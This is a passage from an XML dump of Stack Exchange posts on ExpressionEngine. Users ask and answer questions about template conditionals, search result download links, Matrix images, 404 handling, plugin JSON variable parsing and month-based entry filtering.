{/if}&#xA;{/exp:cookie_fav:favourites}&#xA;&amp;lt;/textarea&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-04-13T16:08:51.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30999" PostTypeId="1" CreationDate="2015-04-13T16:37:36.573" Score="0" ViewCount="49" Body="&lt;p&gt;I have a Matrix field that has a series of columns for showing content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each row has the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title&#xA;Content&#xA;Image&#xA;Image Caption&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now sometimes I may want to have more than 1 image within each row, is there a way of doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if I am writing content to talk about a project I am working on, and a section will be about Before and After shots.  The title will be something like Before and After, the content will be relevant to this, and I would want to have at least 2 images.  Other than adding cell is there a way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2015-04-13T16:37:36.573" Title="Mutliple Images in a Matrix row" Tags="|matrix|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31000" PostTypeId="1" CreationDate="2015-04-13T16:57:53.357" Score="0" ViewCount="40" Body="&lt;p&gt;I'm setting up a search feature on a site and one of the channels that it's searching is downloads. Rather than link all download results to the downloads page using the {auto_path} tag and then expect the user to find the download they want, I'd like to create a link which will actually download the file from the search results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that when trying to do this, subsequent results seem to have incorrect links, as if the search module is getting confused?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my code, any thoughts or alternative ways to achieve this are massively appreciated!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;&amp;lt;div class=&quot;col span_1_of_1 search_results&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;padding&quot;&amp;gt;&#xA;        &amp;lt;h3 class=&quot;no_margin_bottom&quot;&amp;gt;&#xA;            {if channel == 'Downloads'}&#xA;                {if download_file != ''}&#xA;                    &amp;lt;a href=&quot;{download_file}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                {if:elseif download_link != ''}&#xA;                    &amp;lt;a href=&quot;{download_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                {/if}&#xA;            {if:else}&#xA;                &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p class=&quot;subtitle extra_margin_bottom&quot;&amp;gt;{entry_date format=&quot;%j%S %F %Y&quot;}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;span class=&quot;label&quot;&amp;gt;{channel}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;        {if channel == 'Downloads'}&#xA;            {if download_file != ''}&#xA;                &amp;lt;a href=&quot;{download_file}&quot; download target=&quot;_blank&quot; &amp;gt;Download&amp;lt;/a&amp;gt;&#xA;            {if:elseif download_link != ''}&#xA;                &amp;lt;a href=&quot;{download_link}&quot; download target=&quot;_blank&quot; &amp;gt;Click to download&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        {if:else}&#xA;            &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="432" LastActivityDate="2016-06-03T01:35:24.060" Title="Search module giving incorrect links" Tags="|conditionals|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31001" PostTypeId="1" CreationDate="2015-04-13T17:45:37.513" Score="0" ViewCount="73" Body="&lt;p&gt;Is there a little modification to Expresso Store 2.5 that I can make that would turn the &quot;custom order status&quot; message input (that appears in the Order Status controls when you click &quot;Edit Status&quot;, and displays on email notifications when you use {custom_order_status} ) to a textarea field of some size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client who often writes longer messages to clients when their order is shipped, and wants to use this field as the space for writing it. It would probably be more effective for this use if she had a textarea field to work with.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's more appropriate for them to be using some other method to put custom messages into Store notifications, I'd welcome being steered to that. (I suppose she can also just write the messages separately, if she needs to...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2015-04-14T13:05:19.933" Title="Expresso Store &quot;custom order status&quot; message input field - as textarea?" Tags="|expresso-store|custom-order-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31002" PostTypeId="2" ParentId="31000" CreationDate="2015-04-13T18:12:12.273" Score="0" Body="&lt;p&gt;Maybe try simplifying by getting rid of the nested if:elses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if download_file != ''} &amp;lt;a href=&quot;{download_file}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;{/if}&#xA; {if download_link != ''} &amp;lt;a href=&quot;{download_link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; {/if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Assuming both fields won't be populated of course.)&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2015-04-13T18:12:12.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31003" PostTypeId="2" ParentId="30994" CreationDate="2015-04-13T18:35:15.013" Score="0" Body="&lt;p&gt;Rick, I guess after step 4 you change the parameter to cache=&quot;no&quot; and just then do step 5.&#xA;But you should not forget to clear the EE-cache &lt;em&gt;before&lt;/em&gt; taking step 5, because possibly the entry-loop is still cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you should assure in your tests that the template you use is not cached as whole: go to Template-Manager, then preferences of your template, set &quot;enable caching&quot; to &quot;no&quot;.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2015-04-13T18:35:15.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31004" PostTypeId="1" AcceptedAnswerId="31014" CreationDate="2015-04-13T19:16:57.927" Score="0" ViewCount="71" Body="&lt;p&gt;I'm trying to create a conditional to determine if the structure entry url is the same as the global &lt;code&gt;{current_url}&lt;/code&gt;. I created a structure field called, &lt;code&gt;{product_category}&lt;/code&gt;. For some reason I cannot get conditional below to evaluate to true. Any idea what the issue is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When callinng in template &lt;code&gt;{product_category}&lt;/code&gt; I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localsite.com/index.php/online-store/business-compliance-materials/&quot; rel=&quot;nofollow&quot;&gt;http://localsite.com/index.php/online-store/business-compliance-materials/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When calling in template &lt;code&gt;{current_url}&lt;/code&gt; I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localsite.com/index.php/online-store/business-compliance-materials&quot; rel=&quot;nofollow&quot;&gt;http://localsite.com/index.php/online-store/business-compliance-materials&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's my conditional: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if product_category == current_url . '/'} &#xA;     True &#xA;{if:else} &#xA;     False &#xA;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-04-14T08:44:54.717" Title="conditional to evaluate structure (url) field and current_url" Tags="|templates|conditionals|structure|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31005" PostTypeId="1" CreationDate="2015-04-13T20:05:17.787" Score="2" ViewCount="60" Body="&lt;p&gt;I have a template set up that I point various Channel Entries to via a pages URL.  For example, I might have a channel on my site that contains all the various pages for a department, and all those channel entries point to a single template.  That template, of course, shows whatever channel entry gets pumped its way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm noticing that I'm never getting a 404 when an invalid URL is typed in; the template just serves a piece of content off the stack from the channel.  So if I go to /whatever/labs I'll see the content I expect there.  If I go to /whatever/labsARG I'll see some random content pulled from the channel, but never the 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that the template as set up is told to fetch an article/page from the channel - so if it isn't passed on explicitly it fetches one.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;pathology_content&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Is there a way to designate this a Pages only template - ie, only show content if it's incoming from a Pages URL, otherwise 404? &lt;/p&gt;&#xA;" OwnerUserId="6182" LastEditorUserId="6182" LastEditDate="2015-04-13T20:11:56.410" LastActivityDate="2015-04-14T13:00:36.703" Title="Using Pages module, how can I still get 404 pages?" Tags="|ee2|404|pages|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31006" PostTypeId="1" CreationDate="2015-04-13T21:14:22.307" Score="0" ViewCount="273" Body="&lt;p&gt;I made my first plugin I don't deal allot with variable and parsing.&#xA;it was a JSON data to pars to a template.&#xA;the problem is when I decode the JSON to an array &#xA;Then I use parse the variables to the template I can't get the variables in my plugin tag.&#xA;I found a question similar to my question but it did work for me either .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12073/parsing-json-in-ee-tag&quot;&gt;Parsing JSON in EE tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can i get help please :D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $find   = array(&quot;&amp;lt;&quot;, &quot;&amp;gt;&quot;);&#xA;    $rep = array(&quot;{&quot;, &quot;}&quot;);&#xA;    $json = str_replace($find, $rep, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('json'));&#xA;    $json = current(json_decode($json,true));&#xA;    $json['location'] = array(&#xA;        array('lat'=&amp;gt;$json['location']['lat'],'lng'=&amp;gt;$json['location']['lng'])&#xA;    );&#xA;    $json['social'] = array(&#xA;        array('twitter'=&amp;gt;$json['social']['twitter'],'facebook'=&amp;gt;$json['social']['facebook'],'LinkedIn'=&amp;gt;$json['social']['LinkedIn'])&#xA;    );&#xA;&#xA;&#xA;    $vars = (array) array($json);&#xA;&#xA;    $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2470" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-04-14T13:36:35.087" Title="parsing decoded JSON array to template" Tags="|plugin|parsing|json|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31008" PostTypeId="2" ParentId="12395" CreationDate="2015-04-13T22:45:19.943" Score="0" Body="&lt;p&gt;I had the same problem.&#xA;in my case I store the JSON data in a felid,&#xA;but before I save it I do php STR_REPLACE {} to &amp;lt;&gt;.&#xA;while decoding to php array I do reverse the &amp;lt;&gt; to {}.&#xA;it works fine with me .&#xA;hope you find this helpful &lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2015-04-13T22:45:19.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31009" PostTypeId="2" ParentId="31005" CreationDate="2015-04-13T22:50:17.840" Score="1" Body="&lt;p&gt;in you control panel &#xA;go to&#xA;Design&gt;Template Manager &gt; Global Template Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find 404 page and assign a 404 template.&#xA;it works for me &#xA;hope thats help &lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2015-04-13T22:50:17.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31010" PostTypeId="2" ParentId="30958" CreationDate="2015-04-13T23:16:14.443" Score="0" Body="&lt;p&gt;I had caching set on the homepage. Turning this off sorted it.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-04-13T23:16:14.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31011" PostTypeId="2" ParentId="30991" CreationDate="2015-04-13T23:52:12.603" Score="0" Body="&lt;p&gt;I've had a bit of a poke around in EE core, and found the likely culprit. (&lt;code&gt;system/libraries/Template.php:1690&lt;/code&gt;, in &lt;code&gt;fetch_param()&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Making yes/no tag parameters consistent.  No &quot;y/n&quot; or &quot;on/off&quot;.&#xA;switch($this-&amp;gt;tagparams[$which])&#xA;{&#xA;  case 'y'  :&#xA;  case 'on' :&#xA;    return 'yes';&#xA;  break;&#xA;  case 'n'  :&#xA;  case 'off'  :&#xA;    return 'no';&#xA;  break;&#xA;  default   :&#xA;    return $this-&amp;gt;tagparams[$which];&#xA;  break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would seem that the system translates all instances of y, on, n, and off into different values with no option to disable this functionality for modules using the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frankly, I'm disappointed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I'd presume this impossible to fix without modifying core files.&lt;/p&gt;&#xA;" OwnerUserId="6216" LastActivityDate="2015-04-13T23:52:12.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31012" PostTypeId="2" ParentId="31000" CreationDate="2015-04-14T06:55:46.300" Score="0" Body="&lt;p&gt;I've managed to solve this by removing the complex conditionals, including all links and then simply hiding the links I don't want to appear using CSS. This is a bit of a workaround I know but in this case seemed to be the best solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy of my code and CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;    &amp;lt;div class=&quot;col span_1_of_1 search_results {if channel == 'Downloads'}download{/if}&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;padding&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;no_margin_bottom&quot;&amp;gt;&#xA;                &amp;lt;a class=&quot;auto_path&quot; href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                {if download_file != ''}&amp;lt;a href=&quot;{download_file}&quot; download target=&quot;_blank&quot; &amp;gt;{title}&amp;lt;/a&amp;gt;{/if}&#xA;                {if download_link != ''}&amp;lt;a href=&quot;{download_link}&quot; download target=&quot;_blank&quot; &amp;gt;{title}&amp;lt;/a&amp;gt;{/if}&#xA;            &amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p class=&quot;subtitle extra_margin_bottom&quot;&amp;gt;{entry_date format=&quot;%j%S %F %Y&quot;}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;span class=&quot;label&quot;&amp;gt;{channel}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a class=&quot;auto_path&quot; href=&quot;{auto_path}&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                {if download_file != ''}&amp;lt;a href=&quot;{download_file}&quot; download target=&quot;_blank&quot; &amp;gt;Click to download&amp;lt;/a&amp;gt;{/if}&#xA;                {if download_link != ''}&amp;lt;a href=&quot;{download_link}&quot; download target=&quot;_blank&quot; &amp;gt;Click to download&amp;lt;/a&amp;gt;{/if}&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.download .auto_path {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="432" LastActivityDate="2015-04-14T06:55:46.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31013" PostTypeId="1" AcceptedAnswerId="31018" CreationDate="2015-04-14T08:41:17.910" Score="1" ViewCount="47" Body="&lt;p&gt;I have a calendar. Currently viewable by year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add in a drop down/list of some sort which will show &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;January 2015&#xA;February 2015&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user selects from the list I need to show only entires from that particular month. What is the correct way of achieving this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pass variables to the URL either POST or GET so the url looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/calendar/january/2016&#xA;or&#xA;domain.com/calendar?month=january&amp;amp;year=2016&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then return the variables, using start_on &amp;amp; stop_before work some magic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar as to above, I could pass some variables into a session &amp;amp; again use the content of the variables to affect my exp loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you perform this, is my logic sound or is there a simpler way?  &lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2015-04-14T12:50:36.343" Title="Correct way of ordering entries by a single month view" Tags="|channel-entries|php|entries|grouping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31014" PostTypeId="2" ParentId="31004" CreationDate="2015-04-14T08:44:54.717" Score="1" Body="&lt;p&gt;If I read your question correct (the links aren't working) you're trying to check if {product_category} is equal to {current_url} if so you need the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{product_category}' == '{current_url}'} &#xA;    True &#xA;{if:else} &#xA;     False &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2015-04-14T08:44:54.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31015" PostTypeId="2" ParentId="30972" CreationDate="2015-04-14T09:37:20.473" Score="0" Body="&lt;p&gt;Well, looking plainly for an answer for you, we &lt;em&gt;can&lt;/em&gt; do something about it, but it's not an _easy 'turn this on'. there is some common sence cleaning already happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we'll have to do is submit the form to our own php action/code in a template. 'fiddle' with the words a bit, submit them to the relivent library (in this case supersearch). This is a process I've used before:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Modify your search form to post to a different route/template&lt;/li&gt;&#xA;&lt;li&gt;Add a template here, use &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post()&lt;/code&gt; to get your posted string&lt;/li&gt;&#xA;&lt;li&gt;Add your PHP and recreate your sanitised search terms string &lt;/li&gt;&#xA;&lt;li&gt;Look into Supersearch's code, it will reveal the function the form normally posts to, call this function from your php code with your sanitised string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You could of course also do this with Javascript. With jQuery you could hook the click event of the search forms submit, clean your string with JS and return true from the hook function (allowing the submit)...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-14T09:37:20.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31016" PostTypeId="2" ParentId="71" CreationDate="2015-04-14T10:30:32.720" Score="0" Body="&lt;p&gt;Have you seen the new version of &lt;a href=&quot;https://www.google.com/recaptcha/intro/index.html&quot; rel=&quot;nofollow&quot;&gt;ReCaptcha&lt;/a&gt;? It's about as unobtrusive as you get, it's a tick box that monitors for human style movements and clicks, really nice IMHO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always use this : &lt;a href=&quot;https://devot-ee.com/add-ons/recaptcha&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/recaptcha&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's kind of like a drop in replacement for the build in Captcha so it works anywhere the built in one does, including Freeform front and back end. You can use your existing captcha settings via EE CP and I beleive it has tags to easily include in many forms! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of all it's free! This module with the new style of &lt;a href=&quot;https://www.google.com/recaptcha/intro/index.html&quot; rel=&quot;nofollow&quot;&gt;ReCaptcha&lt;/a&gt; makes for a winning combo in my book, and not messing about at all!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-14T10:30:32.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31017" PostTypeId="1" AcceptedAnswerId="31019" CreationDate="2015-04-14T12:48:03.930" Score="1" ViewCount="64" Body="&lt;p&gt;I am developing an addon for EE.&#xA;i could not find a way to make a variable with multi value behavior.&#xA;like: &#xA;i would like to write in the template:&#xA;{location:lat}&#xA;{location:lng}&#xA;this can be (Pair Variables) but it is always about loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the proper and the write Array syntax to parse to get what i want in the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you in advance &lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2015-04-14T12:57:11.703" Title="how to make multi value variable in addon development" Tags="|templates|add-on|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31018" PostTypeId="2" ParentId="31013" CreationDate="2015-04-14T12:50:36.343" Score="0" Body="&lt;p&gt;Strangely I can't find this in the documentation, but you can filter entries dynamically by month by simply appending the year and month to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given a standard &lt;code&gt;channel:entries&lt;/code&gt; tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... &lt;strong&gt;/calendar/2015/01&lt;/strong&gt; will only show entries with an &lt;code&gt;entry_date&lt;/code&gt; from January 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the resulting page, you can use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#date-heading&quot; rel=&quot;nofollow&quot;&gt;Date Heading&lt;/a&gt; tag pair to dynamically display the month:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{date_heading display=&quot;monthly&quot;}&#xA;    &amp;lt;h1&amp;gt;{entry_date format=&quot;%F %Y&quot;}&amp;lt;/h1&amp;gt;&#xA;{/date_heading}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To generate your list of months to filter by, look a the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/archive_month_links.html&quot; rel=&quot;nofollow&quot;&gt;Archive Month Links&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-14T12:50:36.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31019" PostTypeId="2" ParentId="31017" CreationDate="2015-04-14T12:57:11.703" Score="1" Body="&lt;p&gt;The only add-ons which have an official method of using variable modifiers are fieldtypes, where your fieldtype class' &lt;code&gt;replace_tag&lt;/code&gt; function controls &lt;code&gt;{my_field}&lt;/code&gt;, &lt;code&gt;replace_lat&lt;/code&gt; controls &lt;code&gt;{myfield:lat}&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use the modifier sytax in a plugin or module, you'd simply name your variables &lt;code&gt;location:lat&lt;/code&gt; and &lt;code&gt;location:lng&lt;/code&gt; in the array you pass to &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;parse_variables()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard way of accessing nested variables like this, given a variables array that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    array(&#xA;        'location' =&amp;gt; array(&#xA;            'lat' =&amp;gt; 'foo',&#xA;            'lng' =&amp;gt; 'bar'&#xA;        )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{location}&#xA;    {lat}&#xA;    {lng}&#xA;{/location}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-14T12:57:11.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31020" PostTypeId="2" ParentId="31005" CreationDate="2015-04-14T13:00:36.703" Score="2" Body="&lt;p&gt;You're already using &lt;code&gt;require_entry&lt;/code&gt;, so the final step is to use the &lt;code&gt;no_results&lt;/code&gt; check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-14T13:00:36.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31021" PostTypeId="2" ParentId="31001" CreationDate="2015-04-14T13:05:19.933" Score="2" Body="&lt;p&gt;it's a core hack, but yes. Open &lt;strong&gt;/store/views/orders/show.php&lt;/strong&gt; and find line 56. Change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lang('store.message').': '.form_input('message','','width=10%, style=width:50%').BR.BR.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lang('store.message').': '.form_textarea('message','','width=10%, style=width:50%').BR.BR.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-14T13:05:19.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31022" PostTypeId="2" ParentId="31006" CreationDate="2015-04-14T13:34:48.653" Score="1" Body="&lt;p&gt;If it's not coming through, I'd bet it's malformed JSON, or more likely, your array structure is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/template.html#parsing-variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to test this is to dump your final array to the developer logger as json, and just compare the structure to how it should be as an array. To do this, add these lines of code right before you call parse_variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('logger');&#xA;ee()-&amp;gt;logger-&amp;gt;developer(json_encode($vars));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check the log in your control panel. It lives under Tools -&gt; Logs -&gt; Developer Log. Almost certainly you just have a malformed array structure. Compare your structure to the Ellis Lab examples.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-04-14T13:34:48.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31023" PostTypeId="2" ParentId="31006" CreationDate="2015-04-14T13:36:35.087" Score="0" Body="&lt;p&gt;in my case i get some json from other website it gives an ID for the returned json value.&#xA;so I only needed the first element when decoding &#xA;so I used &lt;code&gt;$json = current(json_decode($json,true))&lt;/code&gt;&#xA;and then I add this element of array the &lt;code&gt;$vars = (array) array($json);&lt;/code&gt;&#xA;after that I pared the variable as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now it works find with me .&#xA;thanks allot &lt;/p&gt;&#xA;" OwnerUserId="2470" LastActivityDate="2015-04-14T13:36:35.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
